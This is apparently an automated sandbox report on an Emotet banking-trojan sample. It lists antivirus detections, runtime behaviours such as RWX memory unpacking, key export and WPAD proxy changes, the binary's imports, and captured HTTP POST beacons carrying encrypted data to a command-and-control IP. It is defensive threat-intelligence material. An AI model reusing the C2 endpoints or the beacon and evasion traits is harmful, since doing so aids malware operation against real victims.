SmartHawk

7.0

高危

55 个模型检测该样本为恶意！

重新分析

下载样本

670137ea45ebd9cedcf477f68a885aa7bf8d353974cc8f361aca064ee5d17300

b1655d66069d660dca2d5ac364141825.exe

分析耗时

76s

最近分析

文件大小

344.0KB

静态报毒动态报毒 100% AI SCORE=100 CONFIDENCE CRYPTERX DOWNLOADER34 ELDORADO EMOTET EMOTETPMF GDNK GENCIRC GENERICKDZ GENETIC HFZB HIGH CONFIDENCE HUCXWI KRYPTIK MALWARE@#3CCI80VU31A3B OBFUSE QRYOC0YXLYU R + TROJ R350346 RANYX S15732951 SCORE SUSGEN THJABBO TROJANBANKER UNSAFE 更多

未检测暂无鹰眼引擎检测结果

查杀引擎	查杀结果	查杀时间	查杀版本
Alibaba	Trojan:Win32/Emotet.a0637379	20190527	0.3.0.5
Baidu		20190318	1.0.0.2
Avast	Win32:CrypterX-gen [Trj]	20201022	18.4.3895.0
Tencent	Malware.Win32.Gencirc.10cdfdc3	20201022	1.0.0.1
Kingsoft		20201022	2013.8.14.323
McAfee	Emotet-FSD!B1655D66069D	20201022	6.0.6.653
CrowdStrike	win/malicious_confidence_100% (W)	20190702	1.0

Queries for the computername (1 个事件)

Time & API	Arguments	Status	Return	Repeated
1620897734.765363 GetComputerNameA	computer_name: OSKAR-PC	success	1	0

Uses Windows APIs to generate a cryptographic key (4 个事件)

Time & API	Arguments	Status	Return
1620897719.125363 CryptGenKey	crypto_handle: 0x00514fb8 algorithm_identifier: 0x0000660e () provider_handle: 0x00514928 flags: 1 key: féÞ¢ýo;$$?ôt\|µ	success	1
1620897734.781363 CryptExportKey	crypto_handle: 0x00514fb8 crypto_export_handle: 0x00514f78 buffer: f¤mrMÔþÍZ&vpnI¼¬ZÀ F R§Ü#G/ ³Ö¸úv&ÓEv}¹²5ÃÙÛ{:Ú}×¿µýL Ö.^ "Í%#è¦w#ÔÆ(-½À9¶Ý\PÆN blob_type: 1 flags: 64	success	1
1620897770.453363 CryptExportKey	crypto_handle: 0x00514fb8 crypto_export_handle: 0x00514f78 buffer: f¤zQ´<d\©R.ÎÞéÐëð¾7öá-¬¿#Ðv4z¢3·ÝöRË~WÜ!WS<úTk>ä:»õRòtX¾À±ÿ§MàÔõ<H£\|ÉÆ¼{KÅ blob_type: 1 flags: 64	success	1
1620897776.500363 CryptExportKey	crypto_handle: 0x00514fb8 crypto_export_handle: 0x00514f78 buffer: f¤¨*õÒpêR4JL¥ô ÆÈ^w!¹¹Ìô0$·ú×®qX%fK7Z÷xOU°ø¬ôãYË¨AëÿÑt´¹b#÷PK:XbïTu%ÕLÌ·ëq blob_type: 1 flags: 64	success	1

The file contains an unknown PE resource name possibly indicative of a packer (1 个事件)

resource name

None

Allocates read-write-execute memory (usually to unpack itself) (1 个事件)

Time & API	Arguments	Status	Return	Repeated
1620897718.468363 NtAllocateVirtualMemory	process_identifier: 192 region_size: 45056 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) process_handle: 0xffffffff allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) base_address: 0x01d60000	success	0	0

Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 个事件)

Time & API	Arguments	Status	Return	Repeated
1620897718.500363 NtProtectVirtualMemory	process_identifier: 192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 28672 protection: 32 (PAGE_EXECUTE_READ) process_handle: 0xffffffff base_address: 0x01d81000	success	0	0

Checks adapter addresses which can be used to detect virtual network interfaces (1 个事件)

Time & API	Arguments	Status	Return	Repeated
1620897735.281363 GetAdaptersAddresses	flags: 0 family: 0	failed	111	0

The binary likely contains encrypted or compressed data indicative of a packer (1 个事件)

entropy

7.016649021766093

section

{'size_of_data': '0x00011000', 'virtual_address': '0x00049000', 'entropy': 7.016649021766093, 'name': '.rsrc', 'virtual_size': '0x000101e8'}

description

A section with a high entropy has been found

Expresses interest in specific running processes (1 个事件)

process

b1655d66069d660dca2d5ac364141825.exe

Reads the systems User Agent and subsequently performs requests (1 个事件)

Time & API	Arguments	Status	Return	Repeated
1620897734.921363 InternetOpenW	proxy_bypass: access_type: 0 proxy_name: flags: 0 user_agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)	success	13369348	0

Communicates with host for which no DNS query was performed (4 个事件)

host	142.44.137.67
host	172.217.24.14
host	192.158.216.73
host	85.214.28.226

Sets or modifies WPAD proxy autoconfiguration file for traffic interception (8 个事件)

Time & API	Arguments	Status
1620897737.859363 RegSetValueExA	key_handle: 0x000003bc value: 1 regkey_r: WpadDecisionReason reg_type: 4 (REG_DWORD) regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadDecisionReason	success
1620897737.859363 RegSetValueExA	key_handle: 0x000003bc value: öþ>ÝG× regkey_r: WpadDecisionTime reg_type: 3 (REG_BINARY) regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadDecisionTime	success
1620897737.859363 RegSetValueExA	key_handle: 0x000003bc value: 3 regkey_r: WpadDecision reg_type: 4 (REG_DWORD) regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadDecision	success
1620897737.859363 RegSetValueExW	key_handle: 0x000003bc value: 网络 2 regkey_r: WpadNetworkName reg_type: 1 (REG_SZ) regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadNetworkName	success
1620897737.859363 RegSetValueExA	key_handle: 0x000003d4 value: 1 regkey_r: WpadDecisionReason reg_type: 4 (REG_DWORD) regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-00-27-00-00-00\WpadDecisionReason	success
1620897737.859363 RegSetValueExA	key_handle: 0x000003d4 value: öþ>ÝG× regkey_r: WpadDecisionTime reg_type: 3 (REG_BINARY) regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-00-27-00-00-00\WpadDecisionTime	success
1620897737.859363 RegSetValueExA	key_handle: 0x000003d4 value: 3 regkey_r: WpadDecision reg_type: 4 (REG_DWORD) regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-00-27-00-00-00\WpadDecision	success
1620897737.890363 RegSetValueExW	key_handle: 0x000003b8 value: {40112ABE-63B3-43C3-BE93-1440EE3AF106} regkey_r: WpadLastNetwork reg_type: 1 (REG_SZ) regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\WpadLastNetwork	success

File has been identified by 55 AntiVirus engines on VirusTotal as malicious (50 out of 55 个事件)

Elastic	malicious (high confidence)
MicroWorld-eScan	Trojan.GenericKDZ.69926
FireEye	Generic.mg.b1655d66069d660d
CAT-QuickHeal	Trojan.EmotetPMF.S15732951
Qihoo-360	Win32/Trojan.cfe
ALYac	Trojan.Agent.Emotet
Cylance	Unsafe
Zillya	Trojan.Emotet.Win32.28389
Sangfor	Malware
K7AntiVirus	Riskware ( 0040eff71 )
Alibaba	Trojan:Win32/Emotet.a0637379
K7GW	Trojan ( 0056de091 )
Arcabit	Trojan.Generic.D11126
TrendMicro	TrojanSpy.Win32.EMOTET.THJABBO
Cyren	W32/Kryptik.BWJ.gen!Eldorado
Symantec	Packed.Generic.554
APEX	Malicious
Avast	Win32:CrypterX-gen [Trj]
ClamAV	Win.Malware.Emotet-9753021-0
Kaspersky	Trojan-Banker.Win32.Emotet.gdnk
BitDefender	Trojan.GenericKDZ.69926
NANO-Antivirus	Trojan.Win32.Emotet.hucxwi
Paloalto	generic.ml
Tencent	Malware.Win32.Gencirc.10cdfdc3
Ad-Aware	Trojan.GenericKDZ.69926
TACHYON	Banker/W32.Emotet.352256.H
Sophos	Troj/Emotet-CLZ
Comodo	Malware@#3cci80vu31a3b
F-Secure	Trojan.TR/Crypt.Agent.ranyx
DrWeb	Trojan.DownLoader34.32723
VIPRE	Trojan.Win32.Generic!BT
Invincea	Mal/Generic-R + Troj/Emotet-CLZ
McAfee-GW-Edition	BehavesLike.Win32.Emotet.fh
Emsisoft	Trojan.Emotet (A)
Ikarus	Trojan-Banker.Emotet
Jiangmin	Trojan.Banker.Emotet.oif
Avira	TR/Crypt.Agent.ranyx
Antiy-AVL	Trojan[Banker]/Win32.Emotet
Microsoft	Trojan:Win32/Emotet.ARK!MTB
ViRobot	Trojan.Win32.Z.Kryptik.352256.GN
ZoneAlarm	Trojan-Banker.Win32.Emotet.gdnk
GData	Trojan.GenericKDZ.69926
Cynet	Malicious (score: 100)
AhnLab-V3	Trojan/Win32.Emotet.R350346
McAfee	Emotet-FSD!B1655D66069D
MAX	malware (ai score=100)
VBA32	TrojanBanker.Emotet
Malwarebytes	Trojan.Agent
ESET-NOD32	a variant of Win32/Kryptik.HFZB
Rising	Downloader.Obfuse!8.105AD (TFE:6:qryoc0yxlYU)

Connects to IP addresses that are no longer responding to requests (legitimate services will remain up-and-running usually) (3 个事件)

dead_host	85.214.28.226:8080
dead_host	192.168.56.101:49178
dead_host	192.158.216.73:80

暂无二进制图像该样本未生成二进制可视化图像

暂无运行截图该样本运行过程中未生成截图

👋 欢迎使用 ChatHawk

我是您的恶意软件分析助手，可以帮您分析和解读恶意软件报告。请随时向我提问！

🔍 主要威胁分析

⚡ 行为特征

🛡️ 防护建议

🔧 技术手段

🎯 检测方法

🤖

Static Analysis
Strings

PE Compile Time

2020-09-05 01:07:32

Imports

Library KERNEL32.dll:

• 0x4340b4 GetFileTime

• 0x4340b8 GetTickCount

• 0x4340bc HeapFree

• 0x4340c0 RtlUnwind

• 0x4340c4 VirtualProtect

• 0x4340c8 VirtualAlloc

• 0x4340cc GetSystemInfo

• 0x4340d0 VirtualQuery

• 0x4340d4 HeapAlloc

• 0x4340d8 HeapReAlloc

• 0x4340dc GetCommandLineA

• 0x4340e0 GetProcessHeap

• 0x4340e4 GetStartupInfoA

• 0x4340e8 RaiseException

• 0x4340ec ExitProcess

• 0x4340f0 HeapSize

• 0x4340f4 HeapDestroy

• 0x4340f8 HeapCreate

• 0x4340fc VirtualFree

• 0x434100 TerminateProcess

• 0x434104 UnhandledExceptionFilter

• 0x434108 SetUnhandledExceptionFilter

• 0x43410c IsDebuggerPresent

• 0x434110 GetACP

• 0x434114 LCMapStringA

• 0x434118 GetFileAttributesA

• 0x43411c GetStdHandle

• 0x434120 Sleep

• 0x434124 FreeEnvironmentStringsA

• 0x434128 GetEnvironmentStrings

• 0x43412c FreeEnvironmentStringsW

• 0x434130 GetEnvironmentStringsW

• 0x434134 SetHandleCount

• 0x434138 GetFileType

• 0x43413c QueryPerformanceCounter

• 0x434140 GetSystemTimeAsFileTime

• 0x434144 GetStringTypeA

• 0x434148 GetStringTypeW

• 0x43414c GetTimeZoneInformation

• 0x434150 GetConsoleCP

• 0x434154 GetConsoleMode

• 0x434158 SetStdHandle

• 0x43415c WriteConsoleA

• 0x434160 GetConsoleOutputCP

• 0x434164 WriteConsoleW

• 0x434168 SetEnvironmentVariableA

• 0x43416c FileTimeToLocalFileTime

• 0x434170 SetErrorMode

• 0x434174 FileTimeToSystemTime

• 0x434178 GetOEMCP

• 0x43417c GetCPInfo

• 0x434180 CreateFileA

• 0x434184 GetFullPathNameA

• 0x434188 GetVolumeInformationA

• 0x43418c FindFirstFileA

• 0x434190 FindClose

• 0x434194 GetCurrentProcess

• 0x434198 DuplicateHandle

• 0x43419c GetThreadLocale

• 0x4341a0 GetFileSize

• 0x4341a4 SetEndOfFile

• 0x4341a8 UnlockFile

• 0x4341ac LockFile

• 0x4341b0 FlushFileBuffers

• 0x4341b4 SetFilePointer

• 0x4341b8 WriteFile

• 0x4341bc ReadFile

• 0x4341c0 GlobalFlags

• 0x4341c4 TlsFree

• 0x4341c8 DeleteCriticalSection

• 0x4341cc LocalReAlloc

• 0x4341d0 TlsSetValue

• 0x4341d4 TlsAlloc

• 0x4341d8 InitializeCriticalSection

• 0x4341dc GlobalHandle

• 0x4341e0 GlobalReAlloc

• 0x4341e4 EnterCriticalSection

• 0x4341e8 TlsGetValue

• 0x4341ec LeaveCriticalSection

• 0x4341f0 LocalAlloc

• 0x4341f4 InterlockedIncrement

• 0x4341f8 InterlockedDecrement

• 0x4341fc GetModuleFileNameW

• 0x434200 GlobalGetAtomNameA

• 0x434204 GlobalFindAtomA

• 0x434208 lstrcmpW

• 0x43420c GetVersionExA

• 0x434210 WritePrivateProfileStringA

• 0x434214 FreeResource

• 0x434218 GetCurrentProcessId

• 0x43421c GlobalAddAtomA

• 0x434220 CloseHandle

• 0x434224 GetCurrentThread

• 0x434228 GetCurrentThreadId

• 0x43422c ConvertDefaultLocale

• 0x434230 GetModuleFileNameA

• 0x434234 EnumResourceLanguagesA

• 0x434238 GetLocaleInfoA

• 0x43423c LoadLibraryA

• 0x434240 lstrcmpA

• 0x434244 FreeLibrary

• 0x434248 GlobalDeleteAtom

• 0x43424c GetModuleHandleA

• 0x434250 SetLastError

• 0x434254 GlobalFree

• 0x434258 GlobalAlloc

• 0x43425c GlobalLock

• 0x434260 GlobalUnlock

• 0x434264 FormatMessageA

• 0x434268 LocalFree

• 0x43426c MulDiv

• 0x434270 LoadResource

• 0x434274 LockResource

• 0x434278 SizeofResource

• 0x43427c FindResourceA

• 0x434280 LoadLibraryW

• 0x434284 GetProcAddress

• 0x434288 GetLastError

• 0x43428c lstrlenA

• 0x434290 WideCharToMultiByte

• 0x434294 CompareStringA

• 0x434298 CompareStringW

• 0x43429c MultiByteToWideChar

• 0x4342a0 GetVersion

• 0x4342a4 LCMapStringW

• 0x4342a8 InterlockedExchange

Library USER32.dll:

• 0x4342fc UnregisterClassA

• 0x434300 RegisterClipboardFormatA

• 0x434304 PostThreadMessageA

• 0x434308 ReleaseCapture

• 0x43430c SetCapture

• 0x434310 LoadCursorA

• 0x434314 GetSysColorBrush

• 0x434318 EndPaint

• 0x43431c BeginPaint

• 0x434320 GetWindowDC

• 0x434324 ReleaseDC

• 0x434328 GetDC

• 0x43432c ClientToScreen

• 0x434330 GrayStringA

• 0x434334 DrawTextExA

• 0x434338 DrawTextA

• 0x43433c TabbedTextOutA

• 0x434340 DestroyMenu

• 0x434344 ShowWindow

• 0x434348 MoveWindow

• 0x43434c SetWindowTextA

• 0x434350 IsDialogMessageA

• 0x434354 RegisterWindowMessageA

• 0x434358 SendDlgItemMessageA

• 0x43435c WinHelpA

• 0x434360 IsChild

• 0x434364 GetCapture

• 0x434368 GetClassLongA

• 0x43436c SetPropA

• 0x434370 GetPropA

• 0x434374 RemovePropA

• 0x434378 SetFocus

• 0x43437c GetWindowTextLengthA

• 0x434380 GetWindowTextA

• 0x434384 MessageBeep

• 0x434388 GetTopWindow

• 0x43438c UnhookWindowsHookEx

• 0x434390 GetMessageTime

• 0x434394 GetMessagePos

• 0x434398 MapWindowPoints

• 0x43439c SetForegroundWindow

• 0x4343a0 UpdateWindow

• 0x4343a4 GetMenu

• 0x4343a8 CreateWindowExA

• 0x4343ac GetClassInfoExA

• 0x4343b0 GetClassInfoA

• 0x4343b4 RegisterClassA

• 0x4343b8 GetSysColor

• 0x4343bc AdjustWindowRectEx

• 0x4343c0 EqualRect

• 0x4343c4 CopyRect

• 0x4343c8 PtInRect

• 0x4343cc GetDlgCtrlID

• 0x4343d0 DefWindowProcA

• 0x4343d4 CallWindowProcA

• 0x4343d8 SetWindowLongA

• 0x4343dc OffsetRect

• 0x4343e0 IntersectRect

• 0x4343e4 SystemParametersInfoA

• 0x4343e8 GetWindowPlacement

• 0x4343ec GetWindowRect

• 0x4343f0 GetWindow

• 0x4343f4 SetWindowContextHelpId

• 0x4343f8 MapDialogRect

• 0x4343fc SetWindowPos

• 0x434400 GetDesktopWindow

• 0x434404 CharUpperA

• 0x434408 EnableWindow

• 0x43440c LoadIconA

• 0x434410 SetActiveWindow

• 0x434414 CreateDialogIndirectParamA

• 0x434418 DestroyWindow

• 0x43441c IsWindow

• 0x434420 GetDlgItem

• 0x434424 GetNextDlgTabItem

• 0x434428 EndDialog

• 0x43442c GetWindowThreadProcessId

• 0x434430 GetWindowLongA

• 0x434434 GetLastActivePopup

• 0x434438 IsWindowEnabled

• 0x43443c MessageBoxA

• 0x434440 GetNextDlgGroupItem

• 0x434444 InvalidateRgn

• 0x434448 InvalidateRect

• 0x43444c SetRect

• 0x434450 IsRectEmpty

• 0x434454 SetCursor

• 0x434458 SetWindowsHookExA

• 0x43445c CopyAcceleratorTableA

• 0x434460 CharNextA

• 0x434464 GetForegroundWindow

• 0x434468 SendMessageA

• 0x43446c AppendMenuA

• 0x434470 GetSystemMenu

• 0x434474 DrawIcon

• 0x434478 GetClientRect

• 0x43447c GetSystemMetrics

• 0x434480 IsIconic

• 0x434484 GetSubMenu

• 0x434488 GetMenuItemCount

• 0x43448c GetMenuItemID

• 0x434490 GetMenuState

• 0x434494 PostQuitMessage

• 0x434498 PostMessageA

• 0x43449c CheckMenuItem

• 0x4344a0 EnableMenuItem

• 0x4344a4 ModifyMenuA

• 0x4344a8 GetParent

• 0x4344ac GetFocus

• 0x4344b0 LoadBitmapA

• 0x4344b4 GetMenuCheckMarkDimensions

• 0x4344b8 SetMenuItemBitmaps

• 0x4344bc ValidateRect

• 0x4344c0 GetCursorPos

• 0x4344c4 PeekMessageA

• 0x4344c8 GetKeyState

• 0x4344cc IsWindowVisible

• 0x4344d0 GetActiveWindow

• 0x4344d4 DispatchMessageA

• 0x4344d8 TranslateMessage

• 0x4344dc GetMessageA

• 0x4344e0 CallNextHookEx

• 0x4344e4 GetClassNameA

Library GDI32.dll:

• 0x434030 ScaleWindowExtEx

• 0x434034 ExtSelectClipRgn

• 0x434038 DeleteDC

• 0x43403c GetStockObject

• 0x434040 SetWindowExtEx

• 0x434044 GetBkColor

• 0x434048 GetTextColor

• 0x43404c CreateRectRgnIndirect

• 0x434050 GetRgnBox

• 0x434054 GetMapMode

• 0x434058 ScaleViewportExtEx

• 0x43405c SetViewportExtEx

• 0x434060 OffsetViewportOrgEx

• 0x434064 SetViewportOrgEx

• 0x434068 SelectObject

• 0x43406c Escape

• 0x434070 TextOutA

• 0x434074 RectVisible

• 0x434078 PtVisible

• 0x43407c GetDeviceCaps

• 0x434080 GetViewportExtEx

• 0x434084 DeleteObject

• 0x434088 SetMapMode

• 0x43408c RestoreDC

• 0x434090 SaveDC

• 0x434094 ExtTextOutA

• 0x434098 GetObjectA

• 0x43409c SetBkColor

• 0x4340a0 SetTextColor

• 0x4340a4 GetClipBox

• 0x4340a8 CreateBitmap

• 0x4340ac GetWindowExtEx

Library comdlg32.dll:

• 0x4344fc GetFileTitleA

Library WINSPOOL.DRV:

• 0x4344ec DocumentPropertiesA

• 0x4344f0 OpenPrinterA

• 0x4344f4 ClosePrinter

Library ADVAPI32.dll:

• 0x434000 RegOpenKeyExA

• 0x434004 RegQueryValueA

• 0x434008 RegEnumKeyA

• 0x43400c RegDeleteKeyA

• 0x434010 RegCloseKey

• 0x434014 RegOpenKeyA

• 0x434018 RegSetValueExA

• 0x43401c RegCreateKeyExA

• 0x434020 RegQueryValueExA

Library COMCTL32.dll:

• 0x434028

Library SHLWAPI.dll:

• 0x4342e8 PathFindFileNameA

• 0x4342ec PathStripToRootA

• 0x4342f0 PathFindExtensionA

• 0x4342f4 PathIsUNCA

Library oledlg.dll:

• 0x434544

Library ole32.dll:

• 0x434504 OleInitialize

• 0x434508 CoFreeUnusedLibraries

• 0x43450c OleUninitialize

• 0x434510 CreateILockBytesOnHGlobal

• 0x434514 StgCreateDocfileOnILockBytes

• 0x434518 StgOpenStorageOnILockBytes

• 0x43451c CoGetClassObject

• 0x434520 CLSIDFromString

• 0x434524 CoRevokeClassObject

• 0x434528 CoTaskMemAlloc

• 0x43452c CoTaskMemFree

• 0x434530 OleIsCurrentClipboard

• 0x434534 OleFlushClipboard

• 0x434538 CoRegisterMessageFilter

• 0x43453c CLSIDFromProgID

Library OLEAUT32.dll:

• 0x4342b0 SysAllocStringLen

• 0x4342b4 VariantClear

• 0x4342b8 VariantChangeType

• 0x4342bc VariantInit

• 0x4342c0 SysStringLen

• 0x4342c4 SysAllocStringByteLen

• 0x4342c8 OleCreateFontIndirect

• 0x4342cc VariantTimeToSystemTime

• 0x4342d0 SystemTimeToVariantTime

• 0x4342d4 SafeArrayDestroy

• 0x4342d8 SysAllocString

• 0x4342dc VariantCopy

• 0x4342e0 SysFreeString

Exports

Ordinal	Address	Name
1	0x401b20	UUACZDADWAJJJJJ

Hosts

No hosts contacted.

DNS

Name	Response	Post-Analysis Lookup
dns.msftncsi.com	A 131.107.255.255	131.107.255.255
dns.msftncsi.com	AAAA fd3e:4f5a:5b81::1	131.107.255.255
teredo.ipv6.microsoft.com

TCP

Source	Source Port	Destination	Destination Port
192.168.56.101	49179	142.44.137.67	443

UDP

Source	Source Port	Destination	Destination Port
192.168.56.101	50534	114.114.114.114	53
192.168.56.101	51378	114.114.114.114	53
192.168.56.101	53657	114.114.114.114	53
192.168.56.101	55368	114.114.114.114	53
192.168.56.101	137	192.168.56.255	137
192.168.56.101	138	192.168.56.255	138
192.168.56.101	51808	224.0.0.252	5355
192.168.56.101	51963	224.0.0.252	5355
192.168.56.101	53237	224.0.0.252	5355
192.168.56.101	56804	224.0.0.252	5355
192.168.56.101	62191	224.0.0.252	5355
192.168.56.101	63429	224.0.0.252	5355
192.168.56.101	65004	224.0.0.252	5355
192.168.56.101	1900	239.255.255.250	1900
192.168.56.101	51379	239.255.255.250	3702
192.168.56.101	55369	239.255.255.250	3702
192.168.56.101	58707	239.255.255.250	3702
192.168.56.101	63432	239.255.255.250	1900

HTTP & HTTPS Requests

URI	Data
http://142.44.137.67:443/Ssh4MM4cHk57pktMSi/	POST /Ssh4MM4cHk57pktMSi/ HTTP/1.1 Content-Type: multipart/form-data; boundary=----------------------Hw5yibnkp5GDrAL72o5khW User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 142.44.137.67:443 Content-Length: 4500 Connection: Keep-Alive Cache-Control: no-cache
http://142.44.137.67:443/Ssh4MM4cHk57pktMSi/	POST /Ssh4MM4cHk57pktMSi/ HTTP/1.1 Content-Type: multipart/form-data; boundary=----------------------Hw5yibnkp5GDrAL72o5khW User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 142.44.137.67:443 Content-Length: 4500 Connection: Keep-Alive Cache-Control: no-cache ------------------------Hw5yibnkp5GDrAL72o5khW Content-Disposition: form-data; name="kacsqglzwu"; filename="lbtasqzlnqsv" Content-Type: application/octet-stream q\xeb\xb7\xcc\x1eL\xd5%\x18\x06uT\xefbX:KP\xf7#b\x8a\xb9\xb4\x97t\x85\xd1\xff\xebA\xa8\x11\x15\xcbY\xe3\xf4\x8e\xac\xad\xf8\xb0\xad\x88UOx\xf7Z\x037Kf%Xq\xae\xd7\x1b\xfa\xb7$0\xf4\x88\xcc\xb9\xb9!w^\xc8\xc6\x8f\x9b\x1d\xa0\x95\xf4\x05\x99\xa5L\x8cJ4R\xea\x87p\xd2\xf5*\x0e\xa86so\xc67G\xfc\xf7\x9db\xf6\xae {\x94\xa7w<\xb6E%\xb5\xbdxa\xaf\x8a\x19fyc\xbe\xa5\xb6\x88\xd5\x06\xa9\xa8<\x19\xb2\x1a\xee"\x8a\x04\xbaXp\x9a\x84\xf9b$\xbc\xa2\xdb\xfc\xd7X4\x0f\x85\x84\xa4\xbe\xach\x11y+\xf9\x07\xd8&\x91\xda\x0fY+pg\xa4%\xf6(\x01+\x9fgT\xfb\xc7\x9e\x86\x9f\xa2\xd2\xc2\x138tU\xba\xb9\x08I\xde\xe40\x97e3\xde\xd0\xc9]7\xa5{/\x8b\x0ed\x18e\xcb\xbe\xa0\x11\x0e\x89\x9dT\x19\xd2\xd8\x8a?d\xed\xebm\x07\xdb\\xc7q\xa6\xbf,\xcd\x9cf,uM{\xbc\x1d\x97w%\xd4\xd9\xdbP'\x84\xa9~\xc6)\xc5f\xd4\xd4:\x9c'\x10\x9a\x8d\x18\xd2\xf4F\xa8 "\xe0\x14\x14\x05>\xf2-\x13\xe7\x15c\xe7y\xe5\xe4\x18\x00\xa8\xb6\x7fbH\xa7\x80\xd6\xfb9F\xc1}\x0f0\x16 \x13V+\xbd^\xe5\x92\x104lo\x1f\xeb\x10% \xfd\x812\xcc6N\xaf<BR\xd8\x1e_\xaf\x10\xc1\xf8%\xf0W\x08\xe1\x17\x1c\x86\x9f\x88[\x081\xf7\xd7}\x14\x9c\x98 \xc3\xa7Y\xab<7`T\x92\x97`\x02\xe16\xb6M2\x1bH\x0c\xe3Q\xec\xe7\x91\xcfD\xfaf\xc5 ------------------------Hw5yibnkp5GDrAL72o5khW--\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00

URI

Data

http://142.44.137.67:443/Ssh4MM4cHk57pktMSi/

POST /Ssh4MM4cHk57pktMSi/ HTTP/1.1
Content-Type: multipart/form-data; boundary=----------------------Hw5yibnkp5GDrAL72o5khW
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: 142.44.137.67:443
Content-Length: 4500
Connection: Keep-Alive
Cache-Control: no-cache

http://142.44.137.67:443/Ssh4MM4cHk57pktMSi/

POST /Ssh4MM4cHk57pktMSi/ HTTP/1.1
Content-Type: multipart/form-data; boundary=----------------------Hw5yibnkp5GDrAL72o5khW
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: 142.44.137.67:443
Content-Length: 4500
Connection: Keep-Alive
Cache-Control: no-cache


------------------------Hw5yibnkp5GDrAL72o5khW
Content-Disposition: form-data; name="kacsqglzwu"; filename="lbtasqzlnqsv"
Content-Type: application/octet-stream

